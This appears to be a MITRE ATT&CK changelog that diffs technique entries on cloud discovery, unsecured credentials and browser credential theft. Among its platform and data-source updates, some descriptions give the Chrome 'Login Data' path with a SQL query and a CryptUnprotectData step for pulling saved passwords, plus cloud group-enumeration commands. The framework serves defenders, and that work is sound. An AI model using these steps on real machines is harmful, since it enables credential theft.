| external_references | {'source_name': 'Chrome Extension C2 Malware', 'description': 'Kjaer, M. (2016, July 18). Malware in the browser: how you might get hacked by a Chrome extension. Retrieved November 22, 2017.', 'url': 'https://kjaer.io/extension-malware/'} | |
| x_mitre_contributors | Chris Ross @xorrior |
Current version: 2.2
Version changed from: 2.1 → 2.2
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-10-21 16:38:27.781000+00:00 | 2021-04-14 12:04:36.243000+00:00 |
| x_mitre_data_sources[0] | Office 365 account logs | User Account: User Account Authentication |
| x_mitre_data_sources[1] | Authentication logs | Application Log: Application Log Content |
| x_mitre_platforms[0] | Linux | Windows |
| x_mitre_platforms[1] | macOS | Azure AD |
| x_mitre_platforms[2] | Windows | Office 365 |
| x_mitre_platforms[3] | Office 365 | SaaS |
| x_mitre_platforms[4] | Azure AD | IaaS |
| x_mitre_platforms[5] | SaaS | Linux |
| x_mitre_platforms[6] | GCP | macOS |
| x_mitre_platforms[7] | AWS | Google Workspace |
| x_mitre_platforms[8] | Azure | Containers |
| x_mitre_version | 2.1 | 2.2 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_contributors | David Fiser, @anu4is, Trend Micro | |
| x_mitre_contributors | Alfredo Oliveira, Trend Micro | |
| x_mitre_contributors | Magno Logan, @magnologan, Trend Micro | |
| x_mitre_contributors | Yossi Weizman, Azure Defender Research Team |
Current version: 1.2
Version changed from: 1.1 → 1.2
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-08-13 16:53:55.390000+00:00 | 2021-03-16 12:54:41.133000+00:00 |
| x_mitre_data_sources[0] | Stackdriver logs | User Account: User Account Metadata |
| x_mitre_data_sources[1] | AWS CloudTrail logs | Command: Command Execution |
| x_mitre_platforms[0] | AWS | Azure AD |
| x_mitre_platforms[1] | GCP | Office 365 |
| x_mitre_platforms[2] | Azure | SaaS |
| x_mitre_platforms[3] | Office 365 | IaaS |
| x_mitre_platforms[4] | Azure AD | Google Workspace |
| x_mitre_version | 1.1 | 1.2 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | Azure activity logs | |
| x_mitre_data_sources | Office 365 account logs | |
| x_mitre_data_sources | Process monitoring | |
| x_mitre_data_sources | Process command-line parameters | |
| x_mitre_platforms | SaaS |
Current version: 1.1
Version changed from: 1.0 → 1.1
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-24 12:44:27.995000+00:00 | 2021-03-16 12:47:00.192000+00:00 |
| x_mitre_data_sources[0] | Office 365 audit logs | User Account: User Account Creation |
| x_mitre_platforms[0] | AWS | Azure AD |
| x_mitre_platforms[1] | GCP | Office 365 |
| x_mitre_platforms[2] | Azure | IaaS |
| x_mitre_platforms[3] | Office 365 | Google Workspace |
| x_mitre_version | 1.0 | 1.1 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | Stackdriver logs | |
| x_mitre_data_sources | Azure activity logs | |
| x_mitre_data_sources | AWS CloudTrail logs | |
| x_mitre_platforms | Azure AD |
Current version: 1.2
Version changed from: 1.1 → 1.2
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-10-19 16:01:22.090000+00:00 | 2021-03-16 12:45:15.399000+00:00 |
| x_mitre_data_sources[0] | Azure activity logs | User Account: User Account Authentication |
| x_mitre_data_sources[1] | Authentication logs | Logon Session: Logon Session Creation |
| x_mitre_platforms[0] | AWS | Azure AD |
| x_mitre_platforms[1] | GCP | Office 365 |
| x_mitre_platforms[2] | Azure | SaaS |
| x_mitre_platforms[3] | SaaS | IaaS |
| x_mitre_platforms[4] | Azure AD | Google Workspace |
| x_mitre_version | 1.1 | 1.2 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | AWS CloudTrail logs | |
| x_mitre_data_sources | Stackdriver logs | |
| x_mitre_platforms | Office 365 |
Current version: 1.2
Version changed from: 1.1 → 1.2
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may attempt to find cloud groups and permission | t | 1 | Adversaries may attempt to find cloud groups and permission |
| > | settings. The knowledge of cloud permission groups can help | > | settings. The knowledge of cloud permission groups can help | ||
| > | adversaries determine the particular roles of users and grou | > | adversaries determine the particular roles of users and grou | ||
| > | ps within an environment, as well as which users are associa | > | ps within an environment, as well as which users are associa | ||
| > | ted with a particular group. With authenticated access ther | > | ted with a particular group. With authenticated access ther | ||
| > | e are several tools that can be used to find permissions gro | > | e are several tools that can be used to find permissions gro | ||
| > | ups. The <code>Get-MsolRole</code> PowerShell cmdlet can be | > | ups. The <code>Get-MsolRole</code> PowerShell cmdlet can be | ||
| > | used to obtain roles and permissions groups for Exchange and | > | used to obtain roles and permissions groups for Exchange and | ||
| > | Office 365 accounts.(Citation: Microsoft Msolrole)(Citation | > | Office 365 accounts.(Citation: Microsoft Msolrole)(Citation | ||
| > | : GitHub Raindance) Azure CLI (AZ CLI) also provides an int | > | : GitHub Raindance) Azure CLI (AZ CLI) and the Google Cloud | ||
| > | erface to obtain permissions groups with authenticated acces | > | Identity Provider API also provide interfaces to obtain per | ||
| > | s to a domain. The command <code>az ad user get-member-group | > | missions groups. The command <code>az ad user get-member-gro | ||
| > | s</code> will list groups associated to a user account.(Cita | > | ups</code> will list groups associated to a user account for | ||
| > | tion: Microsoft AZ CLI)(Citation: Black Hills Red Teaming MS | > | Azure while the API endpoint <code>GET https://cloudidentit | ||
| > | AD Azure, 2018) | > | y.googleapis.com/v1/groups</code> lists group resources avai | ||
| > | lable to a user for Google.(Citation: Microsoft AZ CLI)(Cita | ||||
| > | tion: Black Hills Red Teaming MS AD Azure, 2018)(Citation: G | ||||
| > | oogle Cloud Identity API Documentation) | ||||
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-10-08 17:34:39.077000+00:00 | 2021-03-30 12:42:46.315000+00:00 |
| description | Adversaries may attempt to find cloud groups and permission settings. The knowledge of cloud permission groups can help adversaries determine the particular roles of users and groups within an environment, as well as which users are associated with a particular group.
With authenticated access there are several tools that can be used to find permissions groups. The Get-MsolRole PowerShell cmdlet can be used to obtain roles and permissions groups for Exchange and Office 365 accounts.(Citation: Microsoft Msolrole)(Citation: GitHub Raindance)
Azure CLI (AZ CLI) also provides an interface to obtain permissions groups with authenticated access to a domain. The command az ad user get-member-groups will list groups associated to a user account.(Citation: Microsoft AZ CLI)(Citation: Black Hills Red Teaming MS AD Azure, 2018) | Adversaries may attempt to find cloud groups and permission settings. The knowledge of cloud permission groups can help adversaries determine the particular roles of users and groups within an environment, as well as which users are associated with a particular group.
With authenticated access there are several tools that can be used to find permissions groups. The Get-MsolRole PowerShell cmdlet can be used to obtain roles and permissions groups for Exchange and Office 365 accounts.(Citation: Microsoft Msolrole)(Citation: GitHub Raindance)
Azure CLI (AZ CLI) and the Google Cloud Identity Provider API also provide interfaces to obtain permissions groups. The command az ad user get-member-groups will list groups associated to a user account for Azure while the API endpoint GET https://cloudidentity.googleapis.com/v1/groups lists group resources available to a user for Google.(Citation: Microsoft AZ CLI)(Citation: Black Hills Red Teaming MS AD Azure, 2018)(Citation: Google Cloud Identity API Documentation) |
| x_mitre_data_sources[0] | GCP audit logs | Process: Process Creation |
| x_mitre_data_sources[1] | Stackdriver logs | Command: Command Execution |
| x_mitre_data_sources[2] | AWS CloudTrail logs | Group: Group Enumeration |
| x_mitre_data_sources[3] | Azure activity logs | Group: Group Metadata |
| x_mitre_data_sources[4] | Office 365 account logs | Application Log: Application Log Content |
| x_mitre_platforms[3] | Azure | IaaS |
| x_mitre_platforms[4] | AWS | Google Workspace |
| x_mitre_version | 1.1 | 1.2 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'Google Cloud Identity API Documentation', 'description': 'Google. (n.d.). Retrieved March 16, 2021.', 'url': 'https://cloud.google.com/identity/docs/reference/rest'} | |
| x_mitre_platforms | Azure AD |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | API monitoring | |
| x_mitre_data_sources | Process monitoring | |
| x_mitre_data_sources | Process command-line parameters | |
| x_mitre_platforms | Azure AD | |
| x_mitre_platforms | GCP |
Current version: 1.1
Version changed from: 1.0 → 1.1
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-09-17 16:41:23.267000+00:00 | 2021-03-08 10:33:02.163000+00:00 |
| x_mitre_data_sources[0] | GCP audit logs | Instance: Instance Metadata |
| x_mitre_data_sources[1] | Stackdriver logs | Instance: Instance Enumeration |
| x_mitre_data_sources[2] | AWS CloudTrail logs | Snapshot: Snapshot Metadata |
| x_mitre_data_sources[3] | Azure activity logs | Snapshot: Snapshot Enumeration |
| x_mitre_platforms[0] | AWS | IaaS |
| x_mitre_version | 1.0 | 1.1 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | Cloud Storage: Cloud Storage Metadata | |
| x_mitre_data_sources | Cloud Storage: Cloud Storage Enumeration | |
| x_mitre_data_sources | Volume: Volume Metadata | |
| x_mitre_data_sources | Volume: Volume Enumeration |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_platforms | Azure | |
| x_mitre_platforms | GCP |
Current version: 1.2
Version changed from: 1.1 → 1.2
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-10-15 19:39:34.817000+00:00 | 2021-03-31 19:41:06.948000+00:00 |
| x_mitre_data_sources[0] | Authentication logs | User Account: User Account Authentication |
| x_mitre_detection | Monitor access to the Instance Metadata API and look for anomalous queries. It may be possible to detect adversary use of credentials they have obtained. See [Valid Accounts](https://attack.mitre.org/techniques/T1078) for more information. | Monitor access to the Instance Metadata API and look for anomalous queries. It may be possible to detect adversary use of credentials they have obtained such as in [Valid Accounts](https://attack.mitre.org/techniques/T1078). |
| x_mitre_platforms[0] | AWS | IaaS |
| x_mitre_version | 1.1 | 1.2 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | AWS CloudTrail logs | |
| x_mitre_data_sources | Azure activity logs | |
| x_mitre_platforms | GCP | |
| x_mitre_platforms | Azure |
Current version: 1.1
Version changed from: 1.0 → 1.1
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-07-14 19:19:00.966000+00:00 | 2021-03-16 12:56:36.098000+00:00 |
| x_mitre_data_sources[0] | Office 365 audit logs | User Account: User Account Authentication |
| x_mitre_data_sources[1] | Azure activity logs | Logon Session: Logon Session Creation |
| x_mitre_platforms[0] | AWS | Azure AD |
| x_mitre_platforms[1] | GCP | Office 365 |
| x_mitre_platforms[2] | Azure | IaaS |
| x_mitre_platforms[3] | Azure AD | Google Workspace |
| x_mitre_version | 1.0 | 1.1 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | Stackdriver logs | |
| x_mitre_data_sources | AWS CloudTrail logs | |
| x_mitre_platforms | Office 365 |
Current version: 1.2
Version changed from: 1.1 → 1.2
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-06-23 14:31:41.758000+00:00 | 2021-03-16 12:57:03.837000+00:00 |
| x_mitre_data_sources[0] | Azure activity logs | Cloud Service: Cloud Service Metadata |
| x_mitre_data_sources[1] | Stackdriver logs | Cloud Service: Cloud Service Enumeration |
| x_mitre_version | 1.1 | 1.2 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_platforms | IaaS | |
| x_mitre_platforms | Google Workspace |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | AWS CloudTrail logs | |
| x_mitre_platforms | AWS | |
| x_mitre_platforms | GCP | |
| x_mitre_platforms | Azure |
Current version: 2.2
Version changed from: 2.1 → 2.2
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-24 12:44:28.199000+00:00 | 2021-03-16 12:47:00.458000+00:00 |
| x_mitre_data_sources[0] | Office 365 account logs | User Account: User Account Creation |
| x_mitre_data_sources[1] | Azure activity logs | Process: Process Creation |
| x_mitre_data_sources[2] | AWS CloudTrail logs | Command: Command Execution |
| x_mitre_platforms[0] | Linux | Windows |
| x_mitre_platforms[1] | macOS | Azure AD |
| x_mitre_platforms[2] | Windows | Office 365 |
| x_mitre_platforms[3] | AWS | IaaS |
| x_mitre_platforms[4] | GCP | Linux |
| x_mitre_platforms[5] | Azure AD | macOS |
| x_mitre_platforms[6] | Azure | Google Workspace |
| x_mitre_version | 2.1 | 2.2 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | Process monitoring | |
| x_mitre_data_sources | Process command-line parameters | |
| x_mitre_data_sources | Authentication logs | |
| x_mitre_data_sources | Windows event logs | |
| x_mitre_platforms | Office 365 |
Current version: 1.1
Version changed from: 1.0 → 1.1
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-09-14 19:48:08.299000+00:00 | 2021-03-08 10:33:02.034000+00:00 |
| x_mitre_data_sources[0] | GCP audit logs | Instance: Instance Creation |
| x_mitre_platforms[0] | AWS | IaaS |
| x_mitre_version | 1.0 | 1.1 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | Stackdriver logs | |
| x_mitre_data_sources | Azure activity logs | |
| x_mitre_data_sources | AWS CloudTrail logs | |
| x_mitre_platforms | GCP | |
| x_mitre_platforms | Azure |
Current version: 1.1
Version changed from: 1.0 → 1.1
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | An adversary may create a snapshot or data backup within a c | t | 1 | An adversary may create a snapshot or data backup within a c |
| > | loud account to evade defenses. A snapshot is a point-in-tim | > | loud account to evade defenses. A snapshot is a point-in-tim | ||
| > | e copy of an existing cloud compute component such as a virt | > | e copy of an existing cloud compute component such as a virt | ||
| > | ual machine (VM), virtual hard drive, or volume. An adversar | > | ual machine (VM), virtual hard drive, or volume. An adversar | ||
| > | y may leverage permissions to create a snapshot in order to | > | y may leverage permissions to create a snapshot in order to | ||
| > | bypass restrictions that prevent access to existing compute | > | bypass restrictions that prevent access to existing compute | ||
| > | service infrastructure, unlike in [Revert Cloud Instance](ht | > | service infrastructure, unlike in [Revert Cloud Instance](ht | ||
| > | tps://attack.mitre.org/techniques/T1536) where an adversary | > | tps://attack.mitre.org/techniques/T1578/004) where an advers | ||
| > | may revert to a snapshot to evade detection and remove evide | > | ary may revert to a snapshot to evade detection and remove e | ||
| > | nce of their presence. An adversary may [Create Cloud Insta | > | vidence of their presence. An adversary may [Create Cloud I | ||
| > | nce](https://attack.mitre.org/techniques/T1578/002), mount o | > | nstance](https://attack.mitre.org/techniques/T1578/002), mou | ||
| > | ne or more created snapshots to that instance, and then appl | > | nt one or more created snapshots to that instance, and then | ||
| > | y a policy that allows the adversary access to the created i | > | apply a policy that allows the adversary access to the creat | ||
| > | nstance, such as a firewall policy that allows them inbound | > | ed instance, such as a firewall policy that allows them inbo | ||
| > | and outbound SSH access.(Citation: Mandiant M-Trends 2020) | > | und and outbound SSH access.(Citation: Mandiant M-Trends 202 | ||
| > | 0) | ||||
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-09-14 19:48:08.293000+00:00 | 2021-03-08 10:33:02.060000+00:00 |
| description | An adversary may create a snapshot or data backup within a cloud account to evade defenses. A snapshot is a point-in-time copy of an existing cloud compute component such as a virtual machine (VM), virtual hard drive, or volume. An adversary may leverage permissions to create a snapshot in order to bypass restrictions that prevent access to existing compute service infrastructure, unlike in [Revert Cloud Instance](https://attack.mitre.org/techniques/T1536) where an adversary may revert to a snapshot to evade detection and remove evidence of their presence. An adversary may [Create Cloud Instance](https://attack.mitre.org/techniques/T1578/002), mount one or more created snapshots to that instance, and then apply a policy that allows the adversary access to the created instance, such as a firewall policy that allows them inbound and outbound SSH access.(Citation: Mandiant M-Trends 2020) | An adversary may create a snapshot or data backup within a cloud account to evade defenses. A snapshot is a point-in-time copy of an existing cloud compute component such as a virtual machine (VM), virtual hard drive, or volume. An adversary may leverage permissions to create a snapshot in order to bypass restrictions that prevent access to existing compute service infrastructure, unlike in [Revert Cloud Instance](https://attack.mitre.org/techniques/T1578/004) where an adversary may revert to a snapshot to evade detection and remove evidence of their presence. An adversary may [Create Cloud Instance](https://attack.mitre.org/techniques/T1578/002), mount one or more created snapshots to that instance, and then apply a policy that allows the adversary access to the created instance, such as a firewall policy that allows them inbound and outbound SSH access.(Citation: Mandiant M-Trends 2020) |
| x_mitre_data_sources[0] | GCP audit logs | Snapshot: Snapshot Creation |
| x_mitre_platforms[0] | AWS | IaaS |
| x_mitre_version | 1.0 | 1.1 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | Stackdriver logs | |
| x_mitre_data_sources | Azure activity logs | |
| x_mitre_data_sources | AWS CloudTrail logs | |
| x_mitre_platforms | GCP | |
| x_mitre_platforms | Azure |
Current version: 1.2
Version changed from: 1.1 → 1.2
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-10-19 22:43:45.475000+00:00 | 2021-04-06 12:31:06.695000+00:00 |
| x_mitre_data_sources[0] | Authentication logs | User Account: User Account Authentication |
| x_mitre_data_sources[1] | Office 365 account logs | Application Log: Application Log Content |
| x_mitre_platforms[0] | Linux | Windows |
| x_mitre_platforms[1] | macOS | Azure AD |
| x_mitre_platforms[2] | Windows | Office 365 |
| x_mitre_platforms[3] | AWS | SaaS |
| x_mitre_platforms[4] | GCP | IaaS |
| x_mitre_platforms[5] | Azure | Linux |
| x_mitre_platforms[6] | Office 365 | macOS |
| x_mitre_platforms[7] | Azure AD | Google Workspace |
| x_mitre_platforms[8] | SaaS | Containers |
| x_mitre_version | 1.1 | 1.2 |
Current version: 1.1
Version changed from: 1.0 → 1.1
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may search local file systems and remote file sh | t | 1 | Adversaries may search local file systems and remote file sh |
| > | ares for files containing insecurely stored credentials. The | > | ares for files containing insecurely stored credentials. The | ||
| > | se can be files created by users to store their own credenti | > | se can be files created by users to store their own credenti | ||
| > | als, shared credential stores for a group of individuals, co | > | als, shared credential stores for a group of individuals, co | ||
| > | nfiguration files containing passwords for a system or servi | > | nfiguration files containing passwords for a system or servi | ||
| > | ce, or source code/binary files containing embedded password | > | ce, or source code/binary files containing embedded password | ||
| > | s. It is possible to extract passwords from backups or save | > | s. It is possible to extract passwords from backups or save | ||
| > | d virtual machines through [OS Credential Dumping](https://a | > | d virtual machines through [OS Credential Dumping](https://a | ||
| > | ttack.mitre.org/techniques/T1003). (Citation: CG 2014) Passw | > | ttack.mitre.org/techniques/T1003). (Citation: CG 2014) Passw | ||
| > | ords may also be obtained from Group Policy Preferences stor | > | ords may also be obtained from Group Policy Preferences stor | ||
| > | ed on the Windows Domain Controller. (Citation: SRD GPP) In | > | ed on the Windows Domain Controller. (Citation: SRD GPP) In | ||
| > | cloud environments, authenticated user credentials are ofte | > | cloud and/or containerized environments, authenticated user | ||
| > | n stored in local configuration and credential files. In som | > | and service account credentials are often stored in local c | ||
| > | e cases, these files can be copied and reused on another mac | > | onfiguration and credential files.(Citation: Unit 42 Hildega | ||
| > | hine or the contents can be read and then used to authentica | > | rd Malware) They may also be found as parameters to deployme | ||
| > | te without needing to copy any files. (Citation: Specter Ops | > | nt commands in container logs.(Citation: Unit 42 Unsecured D | ||
| > | - Cloud Credential Storage) | > | ocker Daemons) In some cases, these files can be copied and | ||
| > | reused on another machine or the contents can be read and th | ||||
| > | en used to authenticate without needing to copy any files.(C | ||||
| > | itation: Specter Ops - Cloud Credential Storage) | ||||
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-25 18:30:10.630000+00:00 | 2021-04-12 18:32:32.803000+00:00 |
| description | Adversaries may search local file systems and remote file shares for files containing insecurely stored credentials. These can be files created by users to store their own credentials, shared credential stores for a group of individuals, configuration files containing passwords for a system or service, or source code/binary files containing embedded passwords. It is possible to extract passwords from backups or saved virtual machines through [OS Credential Dumping](https://attack.mitre.org/techniques/T1003). (Citation: CG 2014) Passwords may also be obtained from Group Policy Preferences stored on the Windows Domain Controller. (Citation: SRD GPP) In cloud environments, authenticated user credentials are often stored in local configuration and credential files. In some cases, these files can be copied and reused on another machine or the contents can be read and then used to authenticate without needing to copy any files. (Citation: Specter Ops - Cloud Credential Storage) | Adversaries may search local file systems and remote file shares for files containing insecurely stored credentials. These can be files created by users to store their own credentials, shared credential stores for a group of individuals, configuration files containing passwords for a system or service, or source code/binary files containing embedded passwords. It is possible to extract passwords from backups or saved virtual machines through [OS Credential Dumping](https://attack.mitre.org/techniques/T1003). (Citation: CG 2014) Passwords may also be obtained from Group Policy Preferences stored on the Windows Domain Controller. (Citation: SRD GPP) In cloud and/or containerized environments, authenticated user and service account credentials are often stored in local configuration and credential files.(Citation: Unit 42 Hildegard Malware) They may also be found as parameters to deployment commands in container logs.(Citation: Unit 42 Unsecured Docker Daemons) In some cases, these files can be copied and reused on another machine or the contents can be read and then used to authenticate without needing to copy any files.(Citation: Specter Ops - Cloud Credential Storage) |
| external_references[4]['source_name'] | Specter Ops - Cloud Credential Storage | Unit 42 Hildegard Malware |
| external_references[4]['description'] | Maddalena, C.. (2018, September 12). Head in the Clouds. Retrieved October 4, 2019. | Chen, J. et al. (2021, February 3). Hildegard: New TeamTNT Cryptojacking Malware Targeting Kubernetes. Retrieved April 5, 2021. |
| external_references[4]['url'] | https://posts.specterops.io/head-in-the-clouds-bd038bb69e48 | https://unit42.paloaltonetworks.com/hildegard-malware-teamtnt/ |
| x_mitre_data_sources[0] | Process command-line parameters | File: File Access |
| x_mitre_data_sources[1] | File monitoring | Command: Command Execution |
| x_mitre_platforms[0] | Linux | Windows |
| x_mitre_platforms[1] | macOS | IaaS |
| x_mitre_platforms[2] | Windows | Linux |
| x_mitre_platforms[3] | AWS | macOS |
| x_mitre_platforms[4] | GCP | Containers |
| x_mitre_version | 1.0 | 1.1 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'Unit 42 Unsecured Docker Daemons', 'description': "Chen, J.. (2020, January 29). Attacker's Tactics and Techniques in Unsecured Docker Daemons Revealed. Retrieved March 31, 2021.", 'url': 'https://unit42.paloaltonetworks.com/attackers-tactics-and-techniques-in-unsecured-docker-daemons-revealed/'} | |
| external_references | {'source_name': 'Specter Ops - Cloud Credential Storage', 'description': 'Maddalena, C.. (2018, September 12). Head in the Clouds. Retrieved October 4, 2019.', 'url': 'https://posts.specterops.io/head-in-the-clouds-bd038bb69e48'} | |
| x_mitre_contributors | Rory McCune, Aqua Security | |
| x_mitre_contributors | Jay Chen, Palo Alto Networks | |
| x_mitre_contributors | Yossi Weizman, Azure Defender Research Team | |
| x_mitre_contributors | Vishwas Manral, McAfee |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_platforms | Azure |
Current version: 1.1
Version changed from: 1.0 → 1.1
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may acquire credentials from web browsers by rea | t | 1 | Adversaries may acquire credentials from web browsers by rea |
| > | ding files specific to the target browser.(Citation: Talos O | > | ding files specific to the target browser.(Citation: Talos O | ||
| > | lympic Destroyer 2018) Web browsers commonly save credential | > | lympic Destroyer 2018) Web browsers commonly save credential | ||
| > | s such as website usernames and passwords so that they do no | > | s such as website usernames and passwords so that they do no | ||
| > | t need to be entered manually in the future. Web browsers ty | > | t need to be entered manually in the future. Web browsers ty | ||
| > | pically store the credentials in an encrypted format within | > | pically store the credentials in an encrypted format within | ||
| > | a credential store; however, methods exist to extract plaint | > | a credential store; however, methods exist to extract plaint | ||
| > | ext credentials from web browsers. For example, on Windows | > | ext credentials from web browsers. For example, on Windows | ||
| > | systems, encrypted credentials may be obtained from Google C | > | systems, encrypted credentials may be obtained from Google C | ||
| > | hrome by reading a database file, <code>AppData\Local\Google | > | hrome by reading a database file, <code>AppData\Local\Google | ||
| > | \Chrome\User Data\Default\Login Data</code> and executing a | > | \Chrome\User Data\Default\Login Data</code> and executing a | ||
| > | SQL query: <code>SELECT action_url, username_value, password | > | SQL query: <code>SELECT action_url, username_value, password | ||
| > | _value FROM logins;</code>. The plaintext password can then | > | _value FROM logins;</code>. The plaintext password can then | ||
| > | be obtained by passing the encrypted credentials to the Wind | > | be obtained by passing the encrypted credentials to the Wind | ||
| > | ows API function <code>CryptUnprotectData</code>, which uses | > | ows API function <code>CryptUnprotectData</code>, which uses | ||
| > | the victim’s cached logon credentials as the decryption key | > | the victim’s cached logon credentials as the decryption key | ||
| > | . (Citation: Microsoft CryptUnprotectData April 2018) Adv | > | . (Citation: Microsoft CryptUnprotectData April 2018) Adve | ||
| > | ersaries have executed similar procedures for common web bro | > | rsaries have executed similar procedures for common web brow | ||
| > | wsers such as FireFox, Safari, Edge, etc. (Citation: Proofpo | > | sers such as FireFox, Safari, Edge, etc.(Citation: Proofpoin | ||
| > | int Vega Credential Stealer May 2018)(Citation: FireEye Hawk | > | t Vega Credential Stealer May 2018)(Citation: FireEye HawkEy | ||
| > | Eye Malware July 2017) Adversaries may also acquire credent | > | e Malware July 2017) Windows stores Internet Explorer and Mi | ||
| > | ials by searching web browser process memory for patterns th | > | crosoft Edge credentials in Credential Lockers managed by th | ||
| > | at commonly match credentials.(Citation: GitHub Mimikittenz | > | e [Windows Credential Manager](https://attack.mitre.org/tech | ||
| > | July 2016) After acquiring credentials from web browsers, a | > | niques/T1555/004). Adversaries may also acquire credentials | ||
| > | dversaries may attempt to recycle the credentials across dif | > | by searching web browser process memory for patterns that c | ||
| > | ferent systems and/or accounts in order to expand access. Th | > | ommonly match credentials.(Citation: GitHub Mimikittenz July | ||
| > | is can result in significantly furthering an adversary's obj | > | 2016) After acquiring credentials from web browsers, adver | ||
| > | ective in cases where credentials gained from web browsers o | > | saries may attempt to recycle the credentials across differe | ||
| > | verlap with privileged accounts (e.g. domain administrator). | > | nt systems and/or accounts in order to expand access. This c | ||
| > | an result in significantly furthering an adversary's objecti | ||||
| > | ve in cases where credentials gained from web browsers overl | ||||
| > | ap with privileged accounts (e.g. domain administrator). | ||||
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-02-17 13:20:02.386000+00:00 | 2021-04-14 14:03:47.293000+00:00 |
| description | Adversaries may acquire credentials from web browsers by reading files specific to the target browser.(Citation: Talos Olympic Destroyer 2018) Web browsers commonly save credentials such as website usernames and passwords so that they do not need to be entered manually in the future. Web browsers typically store the credentials in an encrypted format within a credential store; however, methods exist to extract plaintext credentials from web browsers.
For example, on Windows systems, encrypted credentials may be obtained from Google Chrome by reading a database file, AppData\Local\Google\Chrome\User Data\Default\Login Data and executing a SQL query: SELECT action_url, username_value, password_value FROM logins;. The plaintext password can then be obtained by passing the encrypted credentials to the Windows API function CryptUnprotectData, which uses the victim’s cached logon credentials as the decryption key. (Citation: Microsoft CryptUnprotectData April 2018)
Adversaries have executed similar procedures for common web browsers such as FireFox, Safari, Edge, etc. (Citation: Proofpoint Vega Credential Stealer May 2018)(Citation: FireEye HawkEye Malware July 2017)
Adversaries may also acquire credentials by searching web browser process memory for patterns that commonly match credentials.(Citation: GitHub Mimikittenz July 2016)
After acquiring credentials from web browsers, adversaries may attempt to recycle the credentials across different systems and/or accounts in order to expand access. This can result in significantly furthering an adversary's objective in cases where credentials gained from web browsers overlap with privileged accounts (e.g. domain administrator). | Adversaries may acquire credentials from web browsers by reading files specific to the target browser.(Citation: Talos Olympic Destroyer 2018) Web browsers commonly save credentials such as website usernames and passwords so that they do not need to be entered manually in the future. Web browsers typically store the credentials in an encrypted format within a credential store; however, methods exist to extract plaintext credentials from web browsers.
For example, on Windows systems, encrypted credentials may be obtained from Google Chrome by reading a database file, AppData\Local\Google\Chrome\User Data\Default\Login Data and executing a SQL query: SELECT action_url, username_value, password_value FROM logins;. The plaintext password can then be obtained by passing the encrypted credentials to the Windows API function CryptUnprotectData, which uses the victim’s cached logon credentials as the decryption key. (Citation: Microsoft CryptUnprotectData April 2018)
Adversaries have executed similar procedures for common web browsers such as FireFox, Safari, Edge, etc.(Citation: Proofpoint Vega Credential Stealer May 2018)(Citation: FireEye HawkEye Malware July 2017) Windows stores Internet Explorer and Microsoft Edge credentials in Credential Lockers managed by the [Windows Credential Manager](https://attack.mitre.org/techniques/T1555/004).
Adversaries may also acquire credentials by searching web browser process memory for patterns that commonly match credentials.(Citation: GitHub Mimikittenz July 2016)
After acquiring credentials from web browsers, adversaries may attempt to recycle the credentials across different systems and/or accounts in order to expand access. This can result in significantly furthering an adversary's objective in cases where credentials gained from web browsers overlap with privileged accounts (e.g. domain administrator). |
| external_references[2]['source_name'] | Microsoft CryptUnprotectData April 2018 | Microsoft CryptUnprotectData April 2018 |
| x_mitre_data_sources[0] | File monitoring | File: File Access |
| x_mitre_data_sources[1] | API monitoring | Command: Command Execution |
| x_mitre_data_sources[2] | PowerShell logs | Process: OS API Execution |
| x_mitre_data_sources[3] | Process monitoring | Process: Process Access |
| x_mitre_version | 1.0 | 1.1 |
Current version: 1.1
Version changed from: 1.0 → 1.1
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may execute their own malicious payloads by hija | t | 1 | Adversaries may execute their own malicious payloads by hija |
| > | cking the search order used to load DLLs. Windows systems us | > | cking the search order used to load DLLs. Windows systems us | ||
| > | e a common method to look for required DLLs to load into a p | > | e a common method to look for required DLLs to load into a p | ||
| > | rogram. (Citation: Microsoft Dynamic Link Library Search Ord | > | rogram. (Citation: Microsoft Dynamic Link Library Search Ord | ||
| > | er) Hijacking DLL loads may be for the purpose of establishi | > | er)(Citation: FireEye Hijacking July 2010) Hijacking DLL loa | ||
| > | ng persistence as well as elevating privileges and/or evadin | > | ds may be for the purpose of establishing persistence as wel | ||
| > | g restrictions on file execution. There are many ways an ad | > | l as elevating privileges and/or evading restrictions on fil | ||
| > | versary can hijack DLL loads. Adversaries may plant trojan d | > | e execution. There are many ways an adversary can hijack DL | ||
